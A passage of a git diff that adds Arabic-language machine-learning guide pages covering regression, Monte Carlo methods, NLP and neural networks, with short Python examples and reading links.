+ def gradient_descent_runner(points, starting_b, starting_m, learning_rate, num_iterations): 
+    b = starting_b 
+    m = starting_m 
+    for i in range(num_iterations): 
+        b, m = step_gradient(b, m, points, learning_rate) 
+    return [b, m] 
+ 
+ gradient_descent_runner(wheat_and_bread, 1, 1, 0.01, 100) 
+` 
+
+المثال رمز من [هذه المقالة](http://blog.floydhub.com/coding-the-history-of-deep-learning/) . كما يشرح نزول التدرج والمفاهيم الأساسية الأخرى للتعلم العميق.
+
+من المهم أن نلاحظ أن ليس كل الانحدار الخطي يتم مع نزول التدرج. يمكن أيضًا استخدام المعادلة العادية للعثور على معاملات الانحدار الخطي ، ومع ذلك ، فإن هذا يستخدم مضاعفة المصفوفة ، وبالتالي يمكن أن يستغرق وقتًا طويلاً للاستخدام لأكثر من 100000 أو 1000000 حالة.
+
+في بايثون: تطبيق مباشرة باستخدام مكتبة scikit ، مما يجعل من السهل استخدام الانحدار الخطي حتى على مجموعات البيانات الكبيرة.
+
+ `import pandas as pd 
+ from sklearn.cross_validation import train_test_split 
+ from sklearn.linear_model import LinearRegression as lr 
+ train = pd.read_csv('../input/train.csv') 
+ test = pd.read_csv('../input/test.csv') 
+ X = train.iloc[:, 0:4].values 
+ y = train.iloc[:, 4].values 
+ X_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.2, random_state = 0) 
+ X_train 
+ model = lr() 
+ model.fit(X_train, y_train) 
+ print(model.score(X_train,y_train)) 
+ y_pred_class = model.predict(X_test) 
+ model.score(X_train,y_train) 
+ print(model.coef_) 
+ print(model.intercept_) 
+ # calculate accuracy 
+ from sklearn import metrics 
+ print(metrics.accuracy_score(y_test, y_pred_class)) 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/machine-learning/logistic-regression/index.md b/client/src/guide/arabic/machine-learning/logistic-regression/index.md
new file mode 100644
index 0000000000..3a1fe69ec5
--- /dev/null
+++ b/client/src/guide/arabic/machine-learning/logistic-regression/index.md
@@ -0,0 +1,61 @@
+---
+title: Logistic Regression
+localeTitle: الانحدار اللوجستي
+---
+## الانحدار اللوجستي
+
+![وظيفة لوجيستية](https://qph.fs.quoracdn.net/main-qimg-7c9b7670c90b286160a88cb599d1b733) الانحدار اللوجستي يشبه إلى حد كبير الانحدار الخطي في أنه يحاول التنبؤ بمتغير الاستجابة Y مع مجموعة من متغيرات الإدخال X. إنه شكل من أشكال التعلم الخاضع للإشراف ، والذي يحاول التنبؤ باستجابات البيانات غير المعلنة وغير المرئية عن طريق التدريب الأول مع البيانات المسمى ، ومجموعة من الملاحظات لكل من المتغيرات المستقلة (X) والمتغيرات التابعة (Y). ولكن بينما يفترض [الانحدار الخطي](https://guide.freecodecamp.org/machine-learning/linear-regression) أن متغير الاستجابة (Y) يكون كمياً أو متواصلاً ، فإن الانحدار اللوجستي يستخدم على وجه التحديد عندما يكون متغير الاستجابة نوعياً أو منفصلاً. ![الخطية مقابل اللوجستي](http://www.saedsayad.com/images/LogReg_1.png)
+
+#### كيف تعمل
+
+نماذج الانحدار اللوجستي من المحتمل أن Y ، متغير الاستجابة ، ينتمي إلى فئة معينة. في كثير من الحالات ، يكون متغير الاستجابة عبارة عن متغير ثنائي ، لذا فإن الانحدار اللوجستي سيحتاج إلى نموذج دالة y = f (x) التي تخرج قيمة عادية تتراوح من 0 إلى 1 على سبيل المثال لجميع قيم X ، المقابلة القيمتين الممكنة لـ Y. وهي تقوم بذلك باستخدام الدالة اللوجيستية: الانحدار اللوجستي هو تحليل الانحدار المناسب لإجراء عندما يكون المتغير التابع ثنائي التفرع (ثنائي). مثل جميع التحليلات الانحدار ، الانحدار اللوجستي هو تحليل تنبؤي. يستخدم الانحدار اللوجستي لوصف البيانات ولشرح العلاقة بين متغير ثنائي تابع واحد ومتغير واحد أو أكثر من المتغيرات المستقلة الاسمية أو الترتيبية أو الفاصلة أو على مستوى النسبة.
+
+![دالة التكلفه](https://cdn-images-1.medium.com/max/800/1*wHtYmENzug_W6fIE9xY8aw.jpeg) يستخدم الانحدار اللوجستي لحل مشاكل التصنيف ، حيث يكون الناتج من النموذج y∈ {0،1}. هنا ، 0 هو فئة سالبة و 1 فئة موجبة. لنفترض أن لدينا فرضية hθ (x) ، حيث x هي مجموعة البيانات لدينا (مصفوفة) للطول m. θ هي مصفوفة parameteric. لدينا: 0 <hθ (x) <1
+
+في الانحدار اللوجستي ، hθ (x) هي دالة sigmoid ، وبالتالي hθ (x) = g (θ'x). g (θ'x) = 1/1 + e ^ (- θ'x)
+
+ملحوظة: θ 'is θ transpose.
+
+#### دالة التكلفه
+
+دالة التكلفة المستخدمة للانحدار اللوجستي هي:
+
+J (θ) = (1 / m) ∑Cost (hθ (x (i))، y (i)) ، حيث يكون التجميع من i = 1 إلى m.
+
+التكلفة (hθ (x)، y) = - log (hθ (x)) إذا كان y = 1 التكلفة (hθ (x)، y) = - log (1 − hθ (x)) if y = 0
+
+#### التنبؤات باستخدام الانحدار اللوجستي:
+
+نماذج الانحدار اللوجستي احتمال الطبقة الافتراضية (أي الطبقة الأولى). يمكنك تصنيف النتائج المقدمة بواسطة:
+
+y = e ^ (b0 + b1 _X) / (1 + e ^ (b0 + b1_ X))
+
+يتم تعيين 0.5 كاختيار حد السدادة التي يتم تصنيف y≥0.5 لها كالفئة A والتي تم تصنيف y <0.5 لها كالفئة ب.
+
+#### الانحدار اللوجستي متعدد الطبقات:
+
+على الرغم من أنك سترى أن الانحدار اللوجستي يتم استخدامه عادة في حالة التصنيف الثنائي ولكن يمكنك استخدامه أيضًا في حالة التصنيف إلى فئات متعددة من خلال:
+
+##### طريقة واحدة مقابل واحدة:
+
+هنا يتم إنشاء مصنف لكل فصل على حدة ويعتبر المصنف الذي يحصل على أعلى درجة كمخرج.
+
+##### واحد مقابل كل طريقة:
+
+هنا متعددة (N \* N (N-1) / 2 حيث N = لا. من الطبقات) المصنوعات الثنائية تتم ثم من خلال مقارنة درجاتهم يتم الحصول على الإخراج.
+
+#### تطبيقات الانحدار اللوجستي:
+
+1) لتصنيف البريد كرسائل غير مرغوب فيها أو ليست رسائل غير مرغوب فيها. 2) لتحديد وجود أو عدم وجود مرض معين مثل السرطان على أساس الأعراض والبيانات الطبية الأخرى. 3) تصنيف الصور على أساس بيانات البكسل.
+
+#### افتراضات الانحدار اللوجستي
+
+يتطلب الانحدار اللوجستي الثنائي أن يكون المتغير التابع ثنائيًا. بالنسبة إلى الانحدار الثنائي ، ينبغي أن يمثل عامل المستوى 1 للمتغير التابع النتيجة المرجوة. يجب تضمين المتغيرات ذات المعنى فقط. يجب أن تكون المتغيرات المستقلة مستقلة عن بعضها البعض. بمعنى ، يجب أن يكون النموذج قليلة أو لا. ترتبط المتغيرات المستقلة خطيًا باحتمالات السجل. الانحدار اللوجستي يتطلب أحجام عينة كبيرة جدا.
+
+#### معلومات اكثر:
+
+لمزيد من القراءة لبناء خطوة الانحدار اللوجستي بخطوة:
+
+*   انقر [هنا](https://medium.com/towards-data-science/building-a-logistic-regression-in-python-step-by-step-becd4d56c9c8) لمقال عن بناء الانحدار اللوجستي في بيثون.
+*   انقر [هنا](http://nbviewer.jupyter.org/gist/justmarkham/6d5c061ca5aee67c4316471f8c2ae976) لمقال آخر حول بناء الانحدار المنطقي.
+*   انقر [هنا](http://nbviewer.jupyter.org/gist/justmarkham/6d5c061ca5aee67c4316471f8c2ae976) لمقال آخر حول الرياضيات والحدس وراء الانحدار المنطقي.
\ No newline at end of file
diff --git a/client/src/guide/arabic/machine-learning/monte-carlo/index.md b/client/src/guide/arabic/machine-learning/monte-carlo/index.md
new file mode 100644
index 0000000000..211633573e
--- /dev/null
+++ b/client/src/guide/arabic/machine-learning/monte-carlo/index.md
@@ -0,0 +1,20 @@
+---
+title: Monte Carlo
+localeTitle: مونت كارلو
+---
+## مونتي كارلو
+
+يعد Monte Carlo فئة من تقنيات المحاكاة تسمح لك باستكشاف المساحة الحل لمشكلة تحتوي على مدخلات يمكن أن تأخذ قيمًا متعددة. من خلال تشغيل عمليات المحاكاة باستخدام المدخلات العشوائية ومعلمات النموذج ، يمكنك مراقبة النتائج التي تنتج عن المدخلات التي قد تكون أخرى لم يتم اختبارها. هذه الطريقة مفيدة في حل المشكلات التي قد يصعب حلها بشكل تحليلي. إنها ليست طريقة دقيقة ، ولكنها طريقة تجريبية ، وعادة ما تستخدم العشوائية والإحصاء للحصول على نتيجة. تنتهي الخوارزمية بإجابة صحيحة مع الاحتمالية.
+
+إنها عملية حسابية تستخدم أرقامًا عشوائية لإنتاج نتيجة (نتائج). بدلاً من وجود مدخلات ثابتة ، يتم تعيين توزيعات الاحتمال لبعض أو كل المدخلات. سيؤدي ذلك إلى إنشاء توزيع احتمالي للمخرجات بعد تشغيل المحاكاة.
+
+على سبيل المثال ، يمكن استخدام خوارزمية Monte Carlo لتقدير قيمة π. يعتمد مقدار المساحة داخل دائرة نصف قطر نصف قطر 1 على قيمة π. يعتمد احتمال أن النقطة المختارة عشوائيًا في دائرة ربع الدائرة هذه على مساحة الدائرة. إذا تم وضع النقاط عشوائياً في مربع ذي جوانب طول 1 ، فإن النسبة المئوية للنقاط التي تقع ضمن دائرة نصف قطر نصف قطرها 1 تعتمد على قيمة π. تضع خوارزمية مونت كارلو عشوائيا النقاط في المربع وتستخدم النسبة المئوية للنقاط التي تقع داخل الدائرة لتقدير قيمة Th.وهذه طريقة فعالة لصنع التقريب.
+
+في أنظمة الاتصالات الحديثة ، يتم تحديد جودة تبادل المعلومات من خلال وجود ضوضاء في القناة. المصدر الرئيسي للضوضاء - يمكن وصف خاصية الضوضاء الغوسية البيضاء المضافة (AWGN) بطبيعتها باستخدام خوارزمية مونت كارلو في محاكاة نظام الاتصالات.
+
+### معلومات اكثر:
+
+*   [ويكيبيديا](https://en.wikipedia.org/wiki/Monte_Carlo_method)
+*   [ولفرام ماثوورلد](http://mathworld.wolfram.com/MonteCarloMethod.html)
+*   [مقالة Minitab - مونتي كارلو ليست صعبة كما تظن](http://blog.minitab.com/blog/understanding-statistics/monte-carlo-is-not-as-difficult-as-you-think)
+*   [خوارزمية مونتي كارلو (4:41)](https://www.youtube.com/watch?v=Q2-FH36LuT0)
\ No newline at end of file
diff --git a/client/src/guide/arabic/machine-learning/natural-language-processing/index.md b/client/src/guide/arabic/machine-learning/natural-language-processing/index.md
new file mode 100644
index 0000000000..80c3d0faa1
--- /dev/null
+++ b/client/src/guide/arabic/machine-learning/natural-language-processing/index.md
@@ -0,0 +1,61 @@
+---
+title: Natural Language Processing
+localeTitle: معالجة اللغة الطبيعية
+---
+## معالجة اللغات الطبيعية (NLP)
+
+كما تقول ويكيبيديا ، "معالجة اللغة الطبيعية (NLP) هي حقل فرعي من علوم الكمبيوتر ، وهندسة المعلومات ، والذكاء الاصطناعي المعني بالتفاعلات بين الحواسيب واللغات البشرية (الطبيعية) ، ولا سيما كيفية برمجة الحواسيب لمعالجة وتحليل كميات كبيرة من بيانات اللغة الطبيعية ". بعبارة أبسط ، هي عملية تكون فيها اللغة الطبيعية التي يولدها البشر منطقية بواسطة أجهزة الكمبيوتر.
+
+### التحديات في البرمجة اللغوية العصبية
+
+#### 1\. سهل أو حلها في الغالب
+
+ `          *Spam detection 
+          *Part of Speech Tagging 
+          *Named Entity Recognition 
+` 
+
+#### 2\. فوري أو تحقيق تقدم جيد
+
+ `          *Sentiment analysis 
+          *Coreference resolution 
+          *Word sense disambiguation 
+          *Parsing 
+          *Machine Translation 
+          *Information Translation 
+` 
+
+#### 3.Hard أو لا تزال بحاجة إلى الكثير من العمل
+
+ `          *Text Summarization 
+          *Machine dialog system 
+` 
+
+### تقنيات شائعة
+
+ `         *Structure extraction 
+         *Identify and mark sentence, phrase, and paragraph boundaries 
+         *Language identification 
+         *Tokenization 
+         *Acronym normalization and tagging 
+         *Lemmatization / Stemming 
+         *Entity extraction 
+         *Phrase extraction 
+` 
+
+### المكتبات الشعبية المستخدمة
+
+ `            *NLTK, the most widely-mentioned NLP library for Python. 
+        *SpaCy, an industrial-strength NLP library built for performance. 
+        *Gensim, a library for document similarity analysis. 
+        *TextBlob, a user-friendly and intuitive NLTK interface. 
+        *CoreNLP from stanford group 
+        *PolyGlot, a natural language pipeline that supports massive multilingual applications. 
+` 
+
+#### معلومات اكثر:
+
+لمزيد من القراءة:
+
+*   انقر [هنا](https://medium.com/@gon.esbuyo/get-started-with-nlp-part-i-d67ca26cc828) للحصول على مقال حول مقدمة البرمجة اللغوية العصبية.
+*   انقر [هنا](https://en.wikipedia.org/wiki/Natural_language_processing) للحصول على مرجع Wikipedia.
\ No newline at end of file
diff --git a/client/src/guide/arabic/machine-learning/neural-networks/convolutional-neural-networks/index.md b/client/src/guide/arabic/machine-learning/neural-networks/convolutional-neural-networks/index.md
new file mode 100644
index 0000000000..da23bf8edc
--- /dev/null
+++ b/client/src/guide/arabic/machine-learning/neural-networks/convolutional-neural-networks/index.md
@@ -0,0 +1,12 @@
+---
+title: Convolutional Neural Networks
+localeTitle: الشبكات العصبية التلافيفية
+---
+الشبكات العصبية التلافيفية (ConvNets أو CNNs) هي فئة من الشبكات العصبية التي أثبتت فعاليتها في مجالات مثل التعرف على الصور وتصنيفها. نجحت ConvNets في التعرف على الوجوه ، والأشياء ، وعلامات المرور ، بغض النظر عن قوة الرؤية في الروبوتات والسيارات ذاتية القيادة.
+
+### روابط مقترحة:
+
+*   [محاضرة](https://www.youtube.com/watch?v=bNb2fEVKeEo) ستانفورد CS231n [5 شبكات عصبية](https://www.youtube.com/watch?v=bNb2fEVKeEo) تلافيفية
+*   [محاضرة](https://www.youtube.com/watch?v=DAOcjicFr1Y&t=2384s) ستانفورد CS231n [9 سي إن إن](https://www.youtube.com/watch?v=DAOcjicFr1Y&t=2384s)
+*   [Udacity](https://www.youtube.com/watch?v=jajksuQW4mc) التعلم العميق: [netwoks تلافيفي](https://www.youtube.com/watch?v=jajksuQW4mc)
+*   أندرو نج في DeepLearning.ai: [الشبكات العصبية الودية](https://www.coursera.org/learn/convolutional-neural-networks/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/machine-learning/neural-networks/generative-adversarial-networks/index.md b/client/src/guide/arabic/machine-learning/neural-networks/generative-adversarial-networks/index.md
new file mode 100644
index 0000000000..4467b16995
--- /dev/null
+++ b/client/src/guide/arabic/machine-learning/neural-networks/generative-adversarial-networks/index.md
@@ -0,0 +1,21 @@
+---
+title: Generative Adversarial Networks
+localeTitle: شبكات أدبية تكرارية
+---
+## شبكات أدبية تكرارية
+
+## نظرة عامة
+
+شبكات الخصومة توليدي (GANS) هي فئة من [الذكاء الاصطناعي](https://en.wikipedia.org/wiki/Artificial_intelligence) الخوارزميات المستخدمة في [آلة التعلم غير خاضعة للرقابة](https://en.wikipedia.org/wiki/Unsupervised_machine_learning) ، نفذت من خلال نظام من اثنين من [الشبكات العصبية](https://en.wikipedia.org/wiki/Neural_network) خوض مع بعضها البعض في إطار لعبة محصلتها صفر. تم تقديمهم من قبل Ian Goodfellow et al. في عام 2014 ، يمكن لهذه التقنية أن تولد صوراً تبدو على الأقل ذات صفة سطحية للمراقبين البشريين ، ولها العديد من الخصائص الواقعية (على الرغم من الاختبارات التي يمكن للناس أن يخبروا عنها حقيقة في الكثير من الحالات).
+
+## طريقة
+
+شبكة واحدة تولد المرشحين (generative) والآخر [بتقييمها](https://en.wikipedia.org/wiki/Turing_test) (تمييزية). عادة ، تتعلم الشبكة المولدة الخريطة من [فضاء كامن](https://en.wikipedia.org/wiki/Latent_variable) إلى توزيع بيانات معين للاهتمام ، في حين تميز الشبكة التمييزية بين الحالات من توزيع البيانات الحقيقي والمرشحات التي ينتجها المولد. الهدف التدريبي لشبكة التوليد هو زيادة معدل الخطأ في الشبكة التمييزية (أي ، "خداع" شبكة التمييز من خلال إنتاج حالات تركيبية جديدة يبدو أنها جاءت من توزيع البيانات الحقيقي).
+
+من الناحية العملية ، تعمل مجموعة البيانات المعروفة كبيانات تدريب أولية للمتميز. ينطوي تدريب المتميز على تقديمه مع عينات من مجموعة البيانات ، حتى يصل إلى مستوى معين من الدقة. عادةً ما يتم زرع المولد مع مدخلات عشوائية يتم أخذ عينات منها من مساحة كامنة محددة مسبقًا (مثل [التوزيع الطبيعي متعدد المتغيرات](https://en.wikipedia.org/wiki/Multivariate_normal_distribution) ). بعد ذلك ، يتم تقييم العينات التي تم توليفها بواسطة المولد بواسطة المميّز. يتم تطبيق [التكاثر العكسي](https://en.wikipedia.org/wiki/Backpropagation) في كلتا الشبكتين بحيث ينتج المولد صورًا أفضل ، بينما يصبح التمييز أكثر مهارة عند وضع الصور الاصطناعية. المولد هو عادة شبكة عصبية deconvolutional ، والمميّز هو [شبكة عصبية تلافيفية](https://en.wikipedia.org/wiki/Convolutional_neural_network) .
+
+تم اقتراح فكرة استنتاج النماذج في إطار تنافسي (النموذج مقابل المفاضل) بواسطة Li ، Gauci و Gross في عام 2013. يتم استخدام أسلوبهم في الاستدلال السلوكي. يطلق عليه Turing Learning ، حيث أن الإعداد يشبه إعداد [اختبار Turing](https://en.wikipedia.org/wiki/Turing_test) . Turing Learning هو تعميم على GANs. يمكن اعتبار نماذج أخرى غير الشبكات العصبية. وعلاوة على ذلك ، يسمح للتمييزين بالتأثير على العمليات التي يتم الحصول منها على مجموعات البيانات ، مما يجعلهم مستجوبين نشطين كما في اختبار تورينج. ويمكن أيضا العثور على فكرة التدريب على الخصومات في الأعمال السابقة ، مثل Schmidhuber في عام 1992.
+
+## الوضعية
+
+وقد استخدمت GANs لإنتاج عينات من الصور [الواقعية](https://en.wikipedia.org/wiki/Photorealistic) لأهداف تصور التصميم الداخلي / الصناعي الجديد ، والأحذية والحقائب والملابس أو العناصر لمشاهد ألعاب الكمبيوتر. تم الإبلاغ عن استخدام هذه الشبكات بواسطة Facebook. في الآونة الأخيرة ، صممت GANs أنماط الحركة في الفيديو. وقد تم استخدامها أيضًا لإعادة بناء نماذج ثلاثية الأبعاد للأجسام من الصور ولتحسين الصور الفلكية. في عام 2017 ، تم استخدام GAN feedforward GAN لتحسين الصورة باستخدام توليف مدمج آليًا مع الخسارة الإدراكية. ركز النظام على القوام الواقعي بدلاً من دقة البكسل. كانت النتيجة جودة صورة أعلى عند التكبير المرتفع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/machine-learning/neural-networks/index.md b/client/src/guide/arabic/machine-learning/neural-networks/index.md
new file mode 100644
index 0000000000..4986993a41
--- /dev/null
+++ b/client/src/guide/arabic/machine-learning/neural-networks/index.md
@@ -0,0 +1,64 @@
+---
+title: Neural Networks
+localeTitle: الشبكات العصبية
+---
+## الشبكات العصبية
+
+![تغذية الشبكة العصبية إلى الأمام](http://ufldl.stanford.edu/tutorial/images/SingleNeuron.png)
+
+الشبكة العصبية الاصطناعية هي نظام الحوسبة. هم مثل الشبكات العصبية البيولوجية التي تشكل أدمغة الحيوانات. لتدريب الشبكة العصبية ، نحتاج إلى متجه مدخلات وناقل إخراج مناظرة. يعمل التدريب عن طريق تقليل مصطلح الخطأ. يمكن أن يكون هذا الخطأ الفرق التربيعية بين الإخراج المتوقع والإخراج الأصلي.
+
+المبدأ الأساسي الذي يكمن وراء النجاح الملحوظ للشبكات العصبية هو "نظرية التقريب العالمي". وقد ثبت رياضيا أن الشبكات العصبية هي آلات تقريب عالمية قادرة على تقريب أي دالة رياضية بين المدخلات والمخرجات.
+
+أصبحت الشبكات العصبية في البداية شائعة في ثمانينيات القرن العشرين ، لكن القيود في القوة الحسابية منعت قبولها على نطاق واسع حتى العقد الماضي. تسمح الابتكارات في حجم وحدة المعالجة المركزية وقوتها بتطبيق الشبكات العصبية على نطاق واسع ، على الرغم من أن نماذج التعلم الآلي الأخرى لا تزال تفوق الشبكات العصبية من حيث الكفاءة.
+
+العنصر الأساسي في الشبكة العصبية هو العصبون. هو إدخال هو ناقل ، ويقول `x` ، وخرجه هو متغير قيمة حقيقية ، ويقول `y` . وهكذا ، يمكننا أن نستنتج أن العصبون يعمل كخريطة بين المتجه `x` وعدد حقيقي `y` .
+
+تقوم الشبكات العصبية بالانحدار التكراري عبر طبقات متعددة ، مما يؤدي إلى نموذج تنبؤ أكثر دقة. يحسب عقدة واحدة في شبكة عصبية نفس الوظيفة بالضبط مثل [الانحدار اللوجستي](../logistic-regression/index.md) . كل هذه الطبقات ، بخلاف المدخلات والمخرجات ، مخفية ، أي أن السمات المحددة التي تمثلها هذه الطبقات لا يتم اختيارها أو تعديلها بواسطة المبرمج.
+
+![أربع طبقات الشبكة العصبية](http://cs231n.github.io/assets/nn1/neural_net2.jpeg)
+
+في أي طبقة ، تأخذ كل عقدة جميع القيم المخزنة في الطبقة السابقة كمدخل وتقوم بتوقعات عليها استنادًا إلى تحليل الانحدار اللوجستي. تكمن قوة الشبكات العصبية في قدرتها على "اكتشاف" الأنماط والسمات غير المرئية من قبل المبرمجين. وكما ذكرنا سابقًا ، فإن الطبقات الوسطى "مخفية" ، بمعنى أن الأوزان الممنوحة للتحولات يتم تحديدها حصريًا بتدريب الخوارزمية.
+
+يتم استخدام الشبكات العصبية في مجموعة متنوعة من المهام. وتشمل هذه الرؤية الكمبيوتر ، والتعرف على الكلام ، والترجمة ، وتصفية الشبكات الاجتماعية ، ولعب ألعاب الفيديو ، والتشخيص الطبي من بين أمور أخرى.
+
+### تصور
+
+هناك أداة رائعة تساعدك على فهم فكرة الشبكات العصبية بدون أي رياضيات صلبة: [TensorFlow Playground](http://playground.tensorflow.org) ، وهو تطبيق ويب يتيح لك اللعب باستخدام شبكة عصبية حقيقية تعمل في متصفحك ، ثم النقر على أزرار وتعديل المعلمات لمعرفة كيفية عملها.
+
+### حل المشاكل باستخدام الشبكات العصبية
+
+*   تصنيف
+*   تجمع
+*   انحسار
+*   إكتشاف عيب خلقي
+*   قواعد الرابطة
+*   تعزيز التعلم
+*   التنبؤ الهيكلي
+*   هندسة الميزة
+*   تعلم مميز
+*   تعلم لترتيب
+*   التحفيز النحوي
+*   التنبؤ بالطقس
+*   توليد الصور
+
+### نظم الشبكات العصبية المشتركة
+
+تندرج الشبكات العصبية الأكثر استخدامًا اليوم في فئة [التعلم العميق](https://github.com/freeCodeCamp/guides/blob/master/src/pages/machine-learning/deep-learning/index.md) . التعلّم العميق هو عملية ربط طبقات متعددة من العصبونات للسماح لشبكة ما بإنشاء تصميمات مجردة بشكل متزايد بين نواقل المدخلات والمخرجات. ستستخدم الشبكات العصبية العميقة بشكلٍ عام [دعامات النسخ الخلفية من](https://github.com/freeCodeCamp/guides/blob/master/src/pages/machine-learning/backpropagation/index.md) أجل الوصول إلى أكثر الخرائط دقة.
+
+الشكل الثاني الأكثر شيوعًا للشبكات العصبية هو nueroevolution. في هذا النظام يتم إنشاء شبكات عصبية متعددة بشكل عشوائي كتخمينات أولية. ثم يتم استخدام أجيال متعددة من دمج معظم الشبكات الدقيقة والتباديل العشوائي للالتقاء على رسم خرائط أكثر دقة.
+
+### أنواع الشبكات العصبية
+
+*   الشبكة العصبية المتكررة (RNN)
+*   الذاكرة طويلة المدى (LSTM) ، وهو نوع من RNN
+*   الشبكة العصبية التلافيفية (CNN)
+
+### معلومات اكثر:
+
+*   [الشبكات العصبية - ويكيبيديا](https://en.wikipedia.org/wiki/Artificial_neural_network#Components_of_an_artificial_neural_network)
+*   [طبيعة دانيال شيفمان من المدونة](http://natureofcode.com/book/chapter-10-neural-networks/)
+*   [جامعة ستانفورد ، الشبكات العصبية متعددة الطبقات](http://ufldl.stanford.edu/tutorial/supervised/MultiLayerNeuralNetworks/)
+*   [3Blue1Brown ، قناة Youtube مع محتوى الشبكة العصبية](https://youtu.be/aircAruvnKk)
+*   [Siraj Raval ، يوتيوب CHannel مع محتوى الشبكة العصبية](https://youtu.be/h3l4qz76JhQ)
+*   [Neuroevolution - ويكيبيديا](https://en.wikipedia.org/wiki/Neuroevolution)
\ No newline at end of file
diff --git a/client/src/guide/arabic/machine-learning/neural-networks/multi-layer-perceptron/index.md b/client/src/guide/arabic/machine-learning/neural-networks/multi-layer-perceptron/index.md
new file mode 100644
index 0000000000..c11883215c
--- /dev/null
+++ b/client/src/guide/arabic/machine-learning/neural-networks/multi-layer-perceptron/index.md
@@ -0,0 +1,11 @@
+---
+title: Multi Layer Perceptron
+localeTitle: متعدد الطبقات المستقبلات
+---
+## متعدد الطبقات المستقبلات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/machine-learning/neural-networks/multi-layer-perceptron/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/machine-learning/neural-networks/perceptron/index.md b/client/src/guide/arabic/machine-learning/neural-networks/perceptron/index.md
new file mode 100644
index 0000000000..6a7c23622e
--- /dev/null
+++ b/client/src/guide/arabic/machine-learning/neural-networks/perceptron/index.md
@@ -0,0 +1,11 @@
+---
+title: Perceptron
+localeTitle: المستقبلات
+---
+## المستقبلات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/machine-learning/neural-networks/perceptron/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/machine-learning/neural-networks/recurrent-neural-networks/index.md b/client/src/guide/arabic/machine-learning/neural-networks/recurrent-neural-networks/index.md
new file mode 100644
index 0000000000..a16a8f5a73
--- /dev/null
+++ b/client/src/guide/arabic/machine-learning/neural-networks/recurrent-neural-networks/index.md
@@ -0,0 +1,11 @@
+---
+title: Recurrent Neural Networks
+localeTitle: الشبكات العصبية المتكررة
+---
+## الشبكات العصبية المتكررة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/machine-learning/neural-networks/recurrent-neural-networks/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/machine-learning/one-shot-learning/index.md b/client/src/guide/arabic/machine-learning/one-shot-learning/index.md
new file mode 100644
index 0000000000..66ee79cf6a
--- /dev/null
+++ b/client/src/guide/arabic/machine-learning/one-shot-learning/index.md
@@ -0,0 +1,16 @@
+---
+title: One-Shot Learning
+localeTitle: One-Shot Learning
+---
+# One-Shot Learning
+
+يتعلم البشر مفاهيم جديدة مع حاجة ضئيلة جدا للتكرار - على سبيل المثال يمكن للطفل تعميم هذا المفهوم من "قرد" من صورة واحدة في كتاب ، ولكن أفضل أنظمة التعلم العميق لدينا تحتاج إلى المئات أو الآلاف من الأمثلة لفهم أي كائن حتى تصل إلى نقطة من دقة لائقة. هذا يحفز الإعداد الذي نهتم به: تعلم "واحد" ، والذي يتكون من تعلم فئة من مثال واحد (أو عدد قليل جدا) المسمى.
+
+هناك طرق مختلفة لتعلم المرء مثل [وظائف التشابه](https://www.coursera.org/lecture/convolutional-neural-networks/one-shot-learning-gjckG) ، لقد برزت [نظرية](https://www.youtube.com/watch?v=FIjy3lV_KJU) Deepmind ، مع DeepMind أنها النسخة الخاصة بها من الشبكات العصبية باستخدام نهج التعلم One-Shot!
+
+### معلومات اكثر:
+
+*   [سراج رافال على يوتيوب](https://www.youtube.com/watch?v=FIjy3lV_KJU&feature=youtu.be)
+*   [أندرو نغ (Deeplearning.ai)](https://www.coursera.org/lecture/convolutional-neural-networks/one-shot-learning-gjckG)
+*   [المادة العلمية](http://web.mit.edu/cocosci/Papers/Science-2015-Lake-1332-8.pdf)
+*   [ويكيبيديا](https://en.wikipedia.org/wiki/One-shot_learning)
\ No newline at end of file
diff --git a/client/src/guide/arabic/machine-learning/principal-component-analysis/eigen-faces/index.md b/client/src/guide/arabic/machine-learning/principal-component-analysis/eigen-faces/index.md
new file mode 100644
index 0000000000..5eac0aac4c
--- /dev/null
+++ b/client/src/guide/arabic/machine-learning/principal-component-analysis/eigen-faces/index.md
@@ -0,0 +1,35 @@
+---
+title: Eigen Faces
+localeTitle: وجوه خاصة
+---
+## وجوه إيجن
+
+### الخطوط العريضة
+
+*   مشكلة
+*   نهج الحل
+*   بيانات
+*   التحليل الرياضي
+*   إعادة بناء الصورة
+
+### مشكلة
+
+نستخدم عادة قيم eigenvalues ​​و eigenvectors لمصفوفة التباين في البيانات لحساب مكوناتنا الأساسية. ماذا لو لم تكن قادراً على حساب مصفوفة التغاير بسبب مشاكل الذاكرة؟
+
+### نهج الحل
+
+نحن نستخدم الآن خدعة. بدلاً من استخدام أبعاد الصورة لمصفوفة التغاير ، نستخدم عدد الصور. هذا يفتح ميزة أخرى. الآن بعد أن أصبح لدينا ناقلات مميزة لجميع صورنا ، كل ما نحتاجه هو هذه الصور لتكون قادرة على إعادة بناء أي صورة في العالم.
+
+### تعريف مجموعة البيانات
+
+ضع في اعتبارك أن لدينا صورًا ذات تدرجات greyscale بحجم nx n. m هو من ترتيب 100 و n من الترتيب 10000. هدفنا هو تحديد عناصر k التي تمثل جميع ميزات الصورة بشكل صحيح. نقوم الآن بإنشاء مصفوفة X ، حيث نقوم بتخزين الصفح المسطحة بالصور (n ^ 2 x 1). لذلك X هي البعد n ^ 2 x m.
+
+### التحليل الرياضي
+
